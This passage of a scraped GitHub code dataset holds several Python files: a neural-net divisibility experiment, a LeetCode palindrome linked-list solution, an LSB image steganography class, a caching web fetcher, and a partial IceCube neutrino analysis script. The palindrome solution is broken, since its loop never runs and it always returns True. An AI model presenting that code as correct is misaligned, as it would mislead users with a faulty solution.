denominator == 0:\n result = falseVal + (1 - trueVal)\n else:\n result = trueVal + (1 - falseVal)\n return result\n\n\ndef makeNumDen():\n numerator = random.randrange(sys.maxsize)\n numstring = bin(numerator)[2:]\n while len(numstring) < 63:\n numstring = \"0\" + numstring\n denominator = random.randrange(1, 32)\n denstring = bin(denominator)[2:]\n while len(denstring) < 5:\n denstring = \"0\" + denstring\n\n return numerator, denominator, numstring, denstring\n\n\ndef makeInputActivations(numstring, denstring):\n inputLayerActivations = []\n for bit in numstring:\n inputLayerActivations.append(int(bit))\n for bit in denstring:\n inputLayerActivations.append(int(bit))\n return inputLayerActivations\n\n\ndef makeManyNetworks(num):\n networks = []\n for i in range(num):\n networks.append(Network([68, 10, 2]))\n return networks\n\n\ndef main():\n numNets = 100\n numToKeep = 10 # must divide numNets\n rounds = 500\n networks = makeManyNetworks(numNets)\n numerator = 0\n denominator = 1\n numstring = ''\n denstring = ''\n\n for r in range(rounds):\n numerator, denominator, numstring, denstring = makeNumDen()\n\n inputLayerActivations = makeInputActivations(numstring, denstring)\n for net in networks:\n net.activateWithInput(inputLayerActivations)\n\n networks.sort(key=(lambda n: cost(numerator, denominator, n)))\n print(cost(numerator, denominator, networks[0]))\n # for net in networks:\n # print(cost(numerator, denominator, net))\n # print()\n networks = networks[:numToKeep]\n\n for i in range(numToKeep):\n for t in range(numNets // numToKeep - 1):\n newNet = copy.deepcopy(networks[i])\n newNet.tweak()\n networks.append(newNet)\n\n numerator, denominator, numstring, denstring = makeNumDen()\n\n inputLayerActivations = makeInputActivations(numstring, denstring)\n for net in networks:\n net.activateWithInput(inputLayerActivations)\n\n networks.sort(key=(lambda n: cost(numerator, denominator, n)))\n\n print(cost(numerator, denominator, networks[0]))\n\n with open('Best.p', 'wb') as file:\n pickle.dump(networks, file)\n\n # with open('Test.p', 'rb') as file:\n # test = pickle.load(file)\n\n\n# main()\n\n\nwith open('Best.p', 'rb') as file:\n nets = pickle.load(file)\n\ni = 1\nfor num in range(1, 50):\n numerator, denominator, numstring, denstring = makeNumDen()\n\n inputLayerActivations = makeInputActivations(numstring, denstring)\n nets[i].activateWithInput(inputLayerActivations)\n print(str(numerator % denominator == 0) + str(cost(numerator, denominator, nets[i])))\n\n# well damn, it seems like ive made a lot of neural nets that just always\n# tell me that any number does not divide another. its more common to say\n# false so that's what they all do all the time and they're usually right\n","repo_name":"nickLayman/Personal-Small-Projects","sub_path":"Python/Neural_Network/NeuralNetwork.py","file_name":"NeuralNetwork.py","file_ext":"py","file_size_in_byte":12787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12347306553","text":"# Palindrome Linked List\n# https://leetcode.com/problems/palindrome-linked-list/\n\n# 간단히 입력받은 리스트의 값을 팰린드롬인지 아닌지를 판단하는 문제이다.\n# 리스트를 pop함수를 사용해 인덱스를 지정해 비교하여 boolean 형태로 출력하면 쉽게 풀 수 있다.\n# 일단 입력 리스트에 아무 값이 없을 때 바로 True를 출력해주는 조건문을 넣어주고\n# 일반 리스트를 파이썬 리스트로 변환해 주고 마지막에 pop함수를 이용해 팰린드롬 여부를 판단해 준다.\n\ndef isPalindrome(head):\n some_list = []\n if not head:\n return True\n strg = head\n while strg is not None:\n some_list.append(strg)\n strg = strg.next\n while len(some_list) < 1:\n if some_list.pop(0) != some_list.pop():\n return False\n return True\n\n\ndef test_solution():\n assert isPalindrome([1, 2, 2, 1]) == True\n assert isPalindrome([1, 2]) == False","repo_name":"dueytree/LeetCode","sub_path":"Palindrome_Linked_List.py","file_name":"Palindrome_Linked_List.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"39954114813","text":"from PIL import Image\nfrom bitarray import bitarray\n\n\n # 1. create object of class Steganography\n # 2. call method Encode or Decode\n # 3. if you want to encode text, set imagePath, message and encode to True\n # 4. if you want to encode file, set imagePath, file2encode and encode to True\n # 5. if you want to decode text, set imagePath and encode to False\n # 6. if you want to decode file, set imagePath and encode to False\n \n# Example of encoding text\n# steganography = Steganography(imagePath='image.png', message='Hello world', encode=True)\n\n# Example of decoding text\n# steganography = Steganography(imagePath='image.png', encode=False)\n\n# Example of encoding file\n# steganography = Steganography(imagePath='image.png', file2encode='file.txt', encode=True)\n\n# Example of decoding file\n# steganography = Steganography(imagePath='image.png', encode=False)\n\n\n\nclass Steganography:\n def __init__(self, imagePath: str, encode: bool = True, message: str = None, file2encode: str = None):\n self.imagePath = imagePath\n self.message = message\n self.encode = encode\n self.file2encode = file2encode\n self.file2encodeBinary = self.file2bitarray(file2encode) if file2encode is not None else None\n self.image = self.loadImage(imagePath)\n if encode is True:\n self.Encode()\n else:\n self.Decode()\n \n def createHeader(self): \n # 1 bit rika jestli se jedna o soubor\n is_file = True if self.file2encode is not None else False\n # Nazev souboru\n fileName = self.file2encode.split('\\\\')[-1] if is_file else 'file.txt'\n fileName_bits = self.message2Binary(fileName.ljust(64, ' ')) # Doplnění nulovými bity do délky 512 bitů\n # velikost hlavicky (65 bitu -> 1 bit pro typ zpravy, 64 bity pro zacatek a konec zpravy) (64x8 = 512 bitu pro nazev souboru)\n start_pos = 577\n # 32 bitu pro konec pozici\n end_pos = start_pos + self.getMessageBitCount(self.message) if self.message is not None else start_pos + len(self.file2encodeBinary)\n \n print(f'is_file: {is_file}, start_pos: {start_pos}, end_pos: {end_pos}, fileName: {fileName}')\n header_bits = bitarray()\n header_bits.append(is_file)\n header_bits.frombytes(start_pos.to_bytes(4, 'big'))\n header_bits.frombytes(end_pos.to_bytes(4, 'big'))\n \n header_bits.extend(fileName_bits)\n \n print(f'Header (binary): {header_bits.to01()}')\n print(f'size: {len(header_bits)}')\n return header_bits\n \n def getMessageBitCount(self, message):\n return len(self.message2Binary(message))\n \n def loadImage(self, path):\n return Image.open(path).convert('RGBA')\n \n def file2bitarray(self,file_path):\n with open(file_path, 'rb') as file:\n file_content = file.read()\n # Převod obsahu souboru na bitarray\n binary_content = bitarray()\n binary_content.frombytes(file_content)\n return binary_content\n \n def message2Binary(self, message):\n message_bits = bitarray()\n for char in message:\n char_bits = format(ord(char), \"08b\")\n message_bits.extend([int(bit) for bit in char_bits])\n print(f'Message - {message} (binary): {message_bits.to01()}')\n return message_bits\n \n \n def binary2Message(self, binary):\n return binary.tobytes().decode(\"utf-8\")\n \n def binaryHeader2Text(self, binary):\n message = \"\"\n for i in range(0, len(binary), 8):\n byte = binary[i:i+8]\n message += chr(int(byte, 2))\n return message\n \n def Encode(self):\n imageCopy = self.image.copy()\n message = self.message2Binary(self.message) if self.message is not None else self.file2encodeBinary\n\n print(f'Image size: {len(imageCopy.getdata())*3 - 577} ') \n print(f'Message size: {len(message)}')\n \n if len(message) > (len(imageCopy.getdata()) * 3 - 577): # 577 je velikost hlavičky\n print(\"Error: Zpráva je příliš dlouhá pro zakódování do tohoto obrázku.\")\n return\n \n header = self.createHeader()\n messageIndex = 0\n headerIndex = 0\n for i, pixel in enumerate(imageCopy.getdata()):\n if headerIndex >= len(header):\n break\n r, g, b, a = pixel\n headerBits = header[headerIndex:headerIndex+3]\n headerIndex += 3\n #print(f'BEFORE HEADER pixel {pixel}, r: {r}, g: {g}, b: {b}, index: {i}')\n r, g, b = [self.changeLSB(component, headerBits[i]) if i < len(headerBits) else component for i, component in enumerate((r, g, b))]\n imageCopy.putpixel((i % imageCopy.width, i // imageCopy.width), (r, g, b, a))\n #print(f'AFTER HEADER pixel {pixel}, r: {r}, g: {g}, b: {b}, index: {i}')\n \n for i ,pixel in enumerate(imageCopy.getdata()):\n if (i*3) < 577:\n continue\n if messageIndex >= len(message) :\n break\n r, g, b, a = pixel\n messageBits = message[messageIndex:messageIndex + 3]\n messageIndex += 3\n #print(f'BEFORE pixel {pixel}, r: {r}, g: {g}, b: {b}, index: {i}')\n r, g, b = [self.changeLSB(component, messageBits[i]) if i < len(messageBits) else component for i, component in enumerate((r, g, b))] \n #print(f'AFTER pixel {pixel}, r: {r}, g: {g}, b: {b}, index: {i}')\n imageCopy.putpixel((i % imageCopy.width, i // imageCopy.width), (r, g, b, a))\n\n \n imageCopy.save('output.png')\n print('Image encoded successfully')\n \n def Decode(self):\n header = bitarray()\n message = bitarray()\n bitReaded = 0\n \n # Čtení hlavičky\n for pixel in self.image.getdata():\n r, g, b, _ = pixel\n \n for component in (r, g, b):\n header.append(self.getLSB(component))\n bitReaded += 1\n \n if bitReaded >= 577: # Konec hlavičky\n break\n \n if bitReaded >= 577:\n break\n \n # Získání typu zprávy (text nebo soubor)\n messageType = header[0] \n # Získání pozice začátku a konce zprávy\n messageStart = int(header[1:33].to01(), 2)\n messageEnd = int(header[33:65].to01(), 2)\n messageFileName = self.binary2Message(header[65:577])\n \n print(f'header len {len(header)}, messageType: {messageType}, messageStart: {messageStart}, messageEnd: {messageEnd}, messageFileName: {messageFileName}')\n \n # Posun na začátek zprávy\n readComponents = 0\n for pixel in self.image.getdata():\n r, g, b, _ = pixel\n for component in (r, g, b):\n if readComponents < messageStart + 2:\n readComponents += 1\n continue\n if readComponents >= messageEnd + 2:\n break\n message.append(self.getLSB(component))\n readComponents += 1\n if readComponents >= messageEnd + 2:\n # Pokud jsme již přečetli celou zprávu, přestaňte číst\n break\n \n # Pokud je typ zprávy text, převede bitarray zprávy na řetězec\n if messageType == 0:\n decodedMessage = self.binary2Message(message)\n print(f\"Decoded Text Message: {decodedMessage}\")\n else:\n self.binary2textFile(message, 'decoded_' + messageFileName)\n\n\n \n # Pokud je typ zprávy text, převede bitarray zprávy na řetězec\n if messageType == 0:\n print(f'Decoded Text Message (binary): {message.to01()}')\n decodedMessage = self.binary2Message(message)\n print(f\"Decoded Text Message: {decodedMessage}\")\n else:\n self.binary2textFile(message, 'decoded_' + messageFileName)\n\n def changeLSB(self, byte, messageBit):\n #print(f'byte: {byte}, messageBit: {messageBit}, result: {(byte & 0b11111110) | messageBit}')\n return (byte & 0b11111110) | messageBit\n \n def getLSB(self, byte):\n #print(f'byte: {byte}, result: {byte & 1}')\n return byte & 1\n \n def binary2textFile(self,message, output_file_path):\n with open(output_file_path, 'wb') as file:\n # Převede bitarray na bytes a zapíše je do souboru\n file.write(message.tobytes()) \n \n \n\n\n \n\n\n\n","repo_name":"siazikd/FA","sub_path":"steganografie/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23889625804","text":"# coding: utf-8\n\n# Compassionate Caching inspired by \n# http://lethain.com/an-introduction-to-compassionate-screenscraping/\nimport requests, time, re, random, hashlib\n\nlast_fetched_at = None\n\ndef fetch(url):\n \"\"\"Load the url compassionately.\"\"\"\n \n global last_fetched_at\n \n url_hash = hashlib.sha1(url.encode()).hexdigest()\n filename = 'cache-file-{}'.format(url_hash)\n try:\n with open(filename, 'r') as f:\n result = f.read()\n if len(result) > 0:\n print(\"Retrieving from cache:\", url)\n return result\n except:\n pass\n \n print(\"Loading:\", url)\n wait_interval = random.randint(3000,10000)\n if last_fetched_at is not None:\n now = time.time()\n elapsed = now - last_fetched_at\n if elapsed < wait_interval:\n time.sleep((wait_interval - elapsed)/1000)\n \n rsp = requests.get(url)\n last_fetched_at = time.time()\n result = (rsp.text)\n with open(filename, 'w') as f:\n f.write(result)\n return result","repo_name":"hanjing5/english_lit","sub_path":"assignment2/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37107849962","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport copy\nfrom glob import glob\nfrom itertools import izip\nimport os\nimport re\nimport socket\nimport sys\nimport time\n\nimport matplotlib as mpl\nif socket.gethostname () not in ('ordi', 'zgaskami'):\n mpl.use ('Agg')\nimport healpy\nimport matplotlib.pyplot as plt\nimport numpy as np\npi = np.pi\nfrom optparse import OptionParser\nimport scipy.optimize, scipy.stats\nimport tables\n\nfrom optparse import OptionParser\n\nfrom icecube.umdtools import arrays, cache, misc, submitter\nfrom icecube.umdtools.apps import Timed, Driver, command\nfrom icecube.umdtools.conf import Configurator\nfrom icecube.umdtools.vars_class import Vars\nfrom icecube.csky import bk, cat, coord, ens, pdf, trial\nfrom icecube import histlite as hl\nensure_dir = misc.ensure_dir\n\n\nno_emojify = lambda *a: a[0]\n\ntry:\n from emojify import emojify\nexcept:\n emojify = no_emojify\n\nif socket.gethostname () not in ('ordi', 'zgaskami', 'condor00'):\n emojify = no_emojify\n\njob_id = '{}_T{:.0f}_J{}'.format (\n socket.gethostname (), time.time (), os.getpid ())\n\npropsmall = mpl.font_manager.FontProperties (size=11)\npropsmaller = mpl.font_manager.FontProperties (size=8)\n\n\ndef prush (*a, **kw):\n \"\"\"Print and flush.\"\"\"\n f = kw.get ('file', sys.stdout)\n print (*a, **kw)\n f.flush ()\n\ndef run (command):\n prush (command)\n os.system (command)\n\ndef getting (filename, *a, **kw):\n prush ('<-> {0} ...'.format (filename))\n return cache.get (filename, *a, **kw)\n\ndef loading (filename):\n prush ('<- {0} ...'.format (filename))\n return cache.load (filename)\n\ndef pattern_load (pattern):\n return [loading (filename)\n for filename in sorted (glob (pattern))]\n\ndef saving (obj, filename):\n prush ('-> {0} ...'.format (filename))\n return cache.save (obj, filename)\n\ndef pjobdir (job_dir):\n prush ('\\nJob dir is {0} .\\n'.format (job_dir))\n\n\ndef getfig (fignum=None, aspect=None, width=None, figsize=None):\n aspect = aspect or 4/3.\n width = width or 7\n if figsize is None:\n figsize = (width, width / aspect)\n out = plt.figure (num=fignum, figsize=figsize)\n plt.clf ()\n return out\n\ndef pfig (*a, **kw):\n fig = getfig (*a, **kw)\n ax = fig.add_subplot (111)\n return fig, ax\n\ndef savefig (fig, outdir, namebase, exts='png pdf', specialpdf=False):\n for ext in exts.split ():\n #if ext in ('eps', 'pdf'):\n # plt.rc ('text', usetex=True)\n #else:\n # plt.rc ('text', usetex=False)\n if specialpdf and ext == 'pdf':\n w, h = fig.get_figwidth (), fig.get_figheight ()\n if w > 10:\n factor = .70\n else:\n factor = .52\n fig.set_size_inches (factor * w, factor * h)\n fig.savefig ('{0}/{1}.{2}'.format (\n outdir, namebase, ext))\n if specialpdf and ext == 'pdf':\n fig.set_size_inches (w, h)\n\ndef savingfig (f, d, n, *a, **kw):\n prush ('-> {0}/{1} ...'.format (d, n))\n savefig (f, d, n, *a, **kw)\n\n\nclass TPS861 (Timed, Driver):\n\n def __init__ (self):\n Timed.__init__ (self)\n Driver.__init__ (self)\n\n def run (self, arglist=[]):\n usage = '%prog {[options] [commands]}\\n' + self._command_help\n self.parser = parser = OptionParser (usage=usage)\n\n parser.add_option ('--sigma', dest='sigma',\n default=0, type=int, metavar='N',\n help='handle N-sigma calculations')\n\n parser.add_option ('--beta', dest='beta',\n default=None, type=float, metavar='BETA',\n help='must surpass threshold in BETA fraction of trials')\n\n parser.add_option ('--zenith', dest='zenith',\n default=90, type=float, metavar='ZENITH',\n help='test and injection point is at ZENITH (CC, deg)')\n\n parser.add_option ('--gamma', dest='gamma',\n default=2, type=float, metavar='GAMMA',\n help='source has spectral index GAMMA')\n\n parser.add_option ('--n-trials', dest='n_trials',\n default=100, type=float, metavar='N',\n help='perform N trials')\n\n parser.add_option ('--n-jobs', dest='n_jobs',\n default=1., type=float, metavar='N',\n help='perform N jobs (with --n-trials each)')\n\n parser.add_option ('--seed', dest='seed',\n default=0, type=int, metavar='SEED',\n help='initialize RNG with SEED')\n\n parser.add_option ('-c', '--conf-dirs', dest='conf_dirs',\n default=os.path.abspath ('conf'), metavar='DIRS',\n help='load configuration from comma-separated list of DIRS')\n\n parser.add_option ('--blacklist', dest='blacklist',\n default='cobol61,cobol65', help='nodes to avoid')\n\n self.opts, self.commands = opts, commands = \\\n parser.parse_args (arglist if arglist else sys.argv[1:])\n\n self.conf = Configurator (*self.opts.conf_dirs.split (','))\n self.mode = Vars ()\n self.mode.str = self.conf.root.mode\n self.mode.words = self.mode.str.split ('/')\n\n self.go (commands, announcement=\n lambda s :emojify (\n ':penguin: :penguin: :penguin: '\n '{0} :penguin: :penguin: :penguin:'.format (s),\n False))\n\n @property\n def blacklist (self):\n return [s+'.private.pa.umd.edu'\n for s in self.opts.blacklist.split (',')]\n\n\n @property\n def root_dir (self):\n return self.conf.root.root_dir\n\n @property\n def mode_dir (self):\n return ensure_dir ('{0}/{1}'.format (self.root_dir, self.mode.str))\n\n @property\n def data (self):\n try:\n return self._data\n except:\n self._data = loading (\n '{}/data/data.arrays'.format (self.mode_dir))\n return self._data\n\n @property\n def nu (self):\n try:\n return self._nu\n except:\n self._nu = loading (\n '{}/data/nu.arrays'.format (self.mode_dir))\n return self._nu\n\n @property\n def pdfs (self):\n try:\n return self._pdfs\n except:\n self._pdfs = loading (\n '{}/data/pdfs.pdfs'.format (self.mode_dir))\n return self._pdfs\n\n def bg (self):\n data = self.data\n bg = ens.DataInjector (data.sigma, np.arccos(data.sinDec), data.logE,\n capsize=np.radians (3))\n return bg\n\n def sig (self, CC_zenith, gamma=None):\n if gamma is None:\n gamma = self.opts.gamma\n nu = self.nu\n sig = ens.PointInjector (\n nu.sigma, CC_zenith, pi/2, nu.trueDec+pi/2,\n nu.xaxis_zenith, nu.xaxis_azimuth, nu.logE,\n nu.ow*nu.trueE**-gamma,\n primary_logenergys=np.log10 (nu.trueE),\n logenergy_min=2, logenergy_max=np.inf, extension=0\n )\n return sig\n\n\n @property\n def bg_tsds (self):\n if hasattr (self, '_bg_tsds'):\n return self._bg_tsds\n try:\n self._bg_tsds = loading ('{0}/bg_tsds.dict'.format (self.mode_dir))\n except:\n self._bg_tsds = self.collect_bg_ts ()\n return self._bg_tsds\n\n @command\n def collect_bg_ts (self):\n \"\"\"Collect bg_trials dict and cache it.\"\"\"\n prush ('Collecting bg trials...')\n bg_tsds = bk.get_all (\n '{0}/bg_tsds'.format (self.mode_dir),\n '*.tsdist')\n saving (bg_tsds, '{0}/bg_tsds.dict'.format (self.mode_dir))\n return bg_tsds\n\n\n @property\n def sig_info (self):\n try:\n return self._sig_info\n except:\n try:\n return loading ('{}/sig_info.dict'.format (self.mode_dir))\n except:\n return self.collect_sig_info ()\n\n @command\n def collect_sig_info (self):\n \"\"\"Collect signal injection results and cache.\"\"\"\n prush ('Collecting signal results...')\n d = bk.get_all (\n '{}/n_sig'.format (self.mode_dir),\n 'sens.pickle',\n lambda x: x[0])\n saving (d, '{}/sig_info.dict'.format (self.mode_dir))\n return d\n\n\n @command\n def setup_data (self):\n \"\"\"Set up `data`, `nu`, and `pdfs`.\"\"\"\n if 'txt' in self.mode.words:\n xd = np.genfromtxt (\n '{}/data/IC86-I_data.txt'.format (self.root_dir), names=True)\n data = arrays.Arrays (dict (\n (k,xd[k])\n for k in ('ra', 'dec', 'sigma', 'logE')))\n data.sinDec = np.sin (data.dec)\n else:\n xd = loading ('{}/data/exp.pickle'.format (self.root_dir))\n data = arrays.Arrays (dict (\n (k,xd[k])\n for k in ('ra', 'sinDec', 'sigma', 'logE')))\n\n if 'txt' in self.mode.words:\n xn = np.genfromtxt (\n '{}/data/IC86-I_MC.txt'.format (self.root_dir), names=True)\n nu = arrays.Arrays (dict (\n (k,xn[k])\n for k in ('ra', 'dec', 'sigma', 'logE',\n 'trueRa', 'trueDec', 'trueE', 'ow')))\n nu.sinDec = np.sin (nu.dec)\n else:\n xn = loading ('{}/data/MC.pickle'.format (self.root_dir))\n nu = arrays.Arrays (dict (\n (k,xn[k])\n for k in ('ra', 'sinDec', 'sigma', 'logE',\n 'trueRa', 'trueDec', 'trueE', 'ow')))\n xzenith, xazimuth = coord.rotate_source_to_xaxis (\n nu.trueDec+pi/2, nu.trueRa, np.arccos (-nu.sinDec), nu.ra)\n xazimuth[xazimuth < pi] += 2*pi\n xazimuth[xazimuth > pi] -= 2*pi\n nu.xaxis_zenith = xzenith\n nu.xaxis_azimuth = xazimuth\n\n data.apply_cut ((1 <= data.logE) & (data.logE < 10))\n nu.apply_cut ((1 <= nu.logE) & (nu.logE < 10))\n\n data_dir = misc.ensure_dir ('{}/data'.format (self.mode_dir))\n saving (data, '{}/data.arrays'.format (data_dir))\n saving (nu, '{}/nu.arrays'.format (data_dir))\n\n pdfs = pdf.PDFs (\n pdf.BgSpacePDF (\n -data.sinDec,\n bins=10, range=(-1,1), fit=False\n ),\n pdf.EnergyPDF (\n -data.sinDec, data.logE, weights=None,\n bins=20, range=((-1,1),(1,10)), fit=False\n ),\n pdf.EnergyPDFs (\n -nu.sinDec, nu.logE, np.log10 (nu.trueE), nu.ow * nu.trueE**-2,\n np.arange (1, 4.1, .25),\n bins=20, range=((-1,1),(1,10)), fit=False\n )\n )\n saving (pdfs, '{}/pdfs.pdfs'.format (data_dir))\n\n\n @command\n def submit_do_bg_ts (self):\n \"\"\"Submit jobs for bg-only TSDists.\"\"\"\n job_root = self.conf.root.job_dir\n job_dir = '{}/do_bg_ts/{}'.format (job_root, job_id)\n s = submitter.Submitter (job_dir=job_dir)\n commands, labels = [], []\n\n this_script = os.path.abspath (__file__)\n confs = ','.join (map (os.path.abspath, self.conf.root_dirs))\n\n for zenith_deg in np.arange (1, 180, 2.):\n for i_job in xrange (int (self.opts.n_jobs)):\n command = '$IR4 {} do_bg_ts --conf-dirs={}' \\\n ' --n-trials={}' \\\n ' --zenith={:07.3f}' \\\n ' --seed={}'.format (\n this_script, confs,\n self.opts.n_trials, zenith_deg, i_job\n )\n label = 'do_bg_ts__zen_{:07.3f}__seed_{}'.format (\n zenith_deg, i_job\n )\n commands.append (command)\n labels.append (label)\n\n s.submit_condor00 (commands, labels, blacklist=self.blacklist)\n pjobdir (job_dir)\n\n\n @command\n def do_bg_ts (self):\n \"\"\"Build a bg-only TSDist.\"\"\"\n\n seed = self.opts.seed\n np.random.seed (seed)\n\n n_trials = self.opts.n_trials\n zenith_deg = self.opts.zenith\n zenith = np.radians (zenith_deg)\n\n tsd = trial.get_tsdist (n_trials, zenith, 0,\n self.pdfs, self.bg(),\n log_frac=100 / n_trials)\n\n sm = bk.SavingModel (\n 'zenith_deg/tsd',\n '{:07.3f}/{:08d}.tsdist',\n )\n filename = sm.save (\n tsd, '{}/bg_tsds'.format (self.mode_dir),\n zenith_deg, seed)\n prush ('->', filename)\n\n\n @command\n def submit_do_n_sig (self):\n \"\"\"Submit jobs for bg-only TSDists.\"\"\"\n job_root = self.conf.root.job_dir\n job_dir = '{}/do_n_sig/{}'.format (job_root, job_id)\n s = submitter.Submitter (job_dir=job_dir)\n commands, labels = [], []\n\n this_script = os.path.abspath (__file__)\n confs = ','.join (map (os.path.abspath, self.conf.root_dirs))\n\n for zenith_deg in np.arange (0, 181, 7.5):\n command = '$IR4 {} do_n_sig --conf-dirs={}' \\\n ' --n-trials={}' \\\n ' --zenith={:07.3f}' \\\n ' --gamma=2' \\\n ' --sigma={}' \\\n ' --beta={}' \\\n ' --seed=0'.format (\n this_script, confs,\n self.opts.n_trials, zenith_deg,\n self.opts.sigma, self.opts.beta\n )\n label = 'do_n_sig__zen_{:07.3f}__sigma_{:.1f}__beta_{:.2f}'.format (\n zenith_deg, self.opts.sigma, self.opts.beta\n )\n commands.append (command)\n labels.append (label)\n\n s.submit_condor00 (commands, labels, blacklist=self.blacklist)\n pjobdir (job_dir)\n\n\n @command\n def do_n_sig (self):\n \"\"\"Calculate sensitivity and discovery potential fluxes.\"\"\"\n\n seed = self.opts.seed\n np.random.seed (seed)\n\n n_trials = self.opts.n_trials\n zenith_deg = self.opts.zenith\n zenith = np.radians (zenith_deg)\n sigma = self.opts.sigma\n beta = self.opts.beta\n gamma = self.opts.gamma\n\n b = self.bg ()\n s = self.sig (zenith)\n pdfs = self.pdfs\n\n bg_tsd = bk.get_best (self.bg_tsds, zenith_deg)\n fit = sigma > 2\n ts = bg_tsd.sigma_thresh (sigma, fit=fit)\n\n prush ()\n prush ('Calculating n_sig...')\n prush ('- zenith = {0:.3f} deg'.format (zenith_deg))\n prush ('- spectrum ~ E ^ (- {0:.3f} )'.format (gamma))\n prush ('- n_sigma = {0:.2f} %'.format (sigma))\n prush ('- beta = {0:.3f} %'.format (beta * 100))\n prush ('- ts > {0:.5f}'.format (ts))\n prush ()\n\n result = trial.get_n_sig(ts, beta,\n s.source_zenith, s.source_azimuth,\n pdfs, b, s,\n n_trials=n_trials, tol=0.01,\n log=True, full_output=True)\n n_sig = result['n_sig'][-1]\n sens = s.to_flux (n_sig, 1e-3 / (321 * 86400))\n\n prush ('Obtained Phi0 = {:.4e} (n_sig = {:.4f})'.format (sens, n_sig))\n\n sm = bk.SavingModel (\n 'sigma/beta/gamma/zenith',\n '{:.1f}/{:3.1f}/{:4.2f}/{:07.3f}/sens.pickle'\n )\n filename = sm.save (\n (sens, n_sig, s.n_exp),\n '{}/n_sig'.format (self.mode_dir),\n sigma, beta, gamma, zenith_deg,\n )\n prush ('->', filename)\n\n\n @command\n def sd (self):\n \"\"\"Plot sensitivity and discovery potential.\"\"\"\n\n misc.tex_mpl_rc ()\n\n sig_info = self.sig_info\n\n fig = getfig (aspect=16/10., width=6)\n ax = fig.add_subplot (111)\n\n nfig = getfig (aspect=16/10., width=6)\n nax = nfig.add_subplot (111)\n\n rfig = getfig (aspect=16/10., width=6)\n rax = rfig.add_subplot (111)\n\n curves = {}\n for n_sigma in (0, 5):\n if n_sigma == 0:\n thing = 'Sensitivity'\n CL = 0.9\n ls = '--'\n else:\n thing = 'Disc. Pot.'\n CL = 0.5\n ls = '-'\n\n color='b'\n alpha=.8\n\n label = r'$E^{{-2}}$ {}'.format (thing)\n x = bk.get_best (\n sig_info, n_sigma, CL, 2\n )\n sin_dec = np.array ([\n np.cos (-k/180.*pi) for k in sorted (x)]\n )\n curve = np.array ([\n x[k][0] for k in sorted (x)\n ])\n ncurve = np.array ([\n x[k][1] for k in sorted (x)\n ])\n\n ax.semilogy (sin_dec, curve,\n label=label, ls=ls, color=color, alpha=alpha, lw=2)\n nax.plot (sin_dec, ncurve,\n label=label, ls=ls, color=color, alpha=alpha, lw=2)\n curves[n_sigma] = sin_dec, curve\n\n x, y = np.genfromtxt ('{}/etc/orig_sens.txt'.format (self.root_dir)).T\n label = r'$E^{{-2}}$ Sensitivity (original)'.format ()\n ax.semilogy (x, 1e-3 * y,\n label=label, ls='--', color='k', alpha=.8, lw=1)\n rax.plot (curves[0][0],\n curves[0][1] / np.interp (curves[0][0], x, 1e-3 * y),\n ls='--', color='k', lw=1, label='Sensitivity ratio')\n\n x, y = np.genfromtxt ('{}/etc/orig_disc.txt'.format (self.root_dir)).T\n label = r'$E^{{-2}}$ Disc. Pot. (original)'.format ()\n ax.semilogy (x, 1e-3 * y,\n label=label, ls='-', color='k', alpha=.8, lw=1)\n rax.plot (curves[5][0],\n curves[5][1] / np.interp (curves[5][0], x, 1e-3 * y),\n ls='-', color='k', lw=1, label='Disc. Pot. ratio')\n\n ax.set_xlabel (r'$\\sin(\\delta)$')\n nax.set_xlabel (r'$\\sin(\\delta)$')\n rax.set_xlabel (r'$\\sin(\\delta)$')\n ax.set_ylabel (r'$E^2 '\n '\\cdot (E/100\\,\\mathrm{TeV})^{\\gamma-2}'\n '\\cdot dN/dE\\,\\,\\,'\n '[\\mathrm{TeV}\\,\\mathrm{cm}^{-2}\\,\\mathrm{s}^{-1}]$')\n nax.set_ylabel (r'$n_\\mathrm{inj}$')\n nax.set_ylabel (r'ratio')\n\n ax.grid ()\n legend = ax.legend (loc='upper right', prop=propsmall,\n handlelength=4, ncol=2)\n frame = legend.get_frame ()\n frame.set_linewidth (0)\n\n nax.grid ()\n legend = nax.legend (loc='upper right', prop=propsmall,\n handlelength=4, ncol=2)\n frame = legend.get_frame ()\n frame.set_linewidth (0)\n\n rax.set_ylim (0.5, 1.5)\n rax.grid ()\n legend = rax.legend (loc='best', prop=propsmall,\n handlelength=4, ncol=2)\n legend.get_frame ().set_linewidth (0)\n\n fig.subplots_adjust (bottom=.14, top=.91, right=.97)\n nfig.subplots_adjust (bottom=.14, top=.91, right=.97)\n rfig.subplots_adjust (bottom=.14, top=.91, right=.97)\n\n plot_dir = misc.ensure_dir ('{0}/plots'.format (self.mode_dir))\n savingfig (fig, plot_dir, 'sensdisc')\n savingfig (nfig, plot_dir, 'sensdisc_ninj')\n savingfig (rfig, plot_dir, 'sensdisc_ratio')\n\n\n @command\n def tsds (self):\n \"\"\"Plot TSDist's.\"\"\"\n\n plot_dir = misc.ensure_dir ('{0}/plots/tsds'.format (self.mode_dir))\n\n tsds = self.bg_tsds\n\n for zenith_deg in sorted (tsds):\n tsd = tsds[zenith_deg]\n\n fig = getfig (aspect=16/10., width=6)\n ax = fig.add_subplot (111)\n ax.semilogy ()\n hl.plot1d (ax, tsd.get_hist (bins=40).normalize (integrate=True),\n color='b')\n ts = np.linspace (1e-3, tsd.ts_values.max (), 100)\n ax.plot (ts, tsd.chi2.pdf (ts), color='.8', ls='--')\n ax.set_xlabel ('TS')\n ax.set_ylabel ('probability density')\n fig.subplots_adjust (bottom=.14, top=.91, right=.97)\n savingfig (fig, plot_dir,\n 'fscale_bg_tsd_zen_{:07.3f}'.format (zenith_deg))\n plt.close (fig)\n\n\n @command\n def aeff (self):\n \"\"\"\n Plot and tabulate Aeff.\n \"\"\"\n\n import colormaps as cmaps\n plt.register_cmap (name='viridis', cmap=cmaps.viridis)\n plt.set_cmap (cmaps.viridis)\n\n logEmin, logEmax = 2., 9.\n dlogE = 0.1\n n_bins_E = (logEmax - logEmin) / dlogE\n dcz = 0.01\n dOmega = 2 * pi * dcz\n n_bins_cz = 2 / 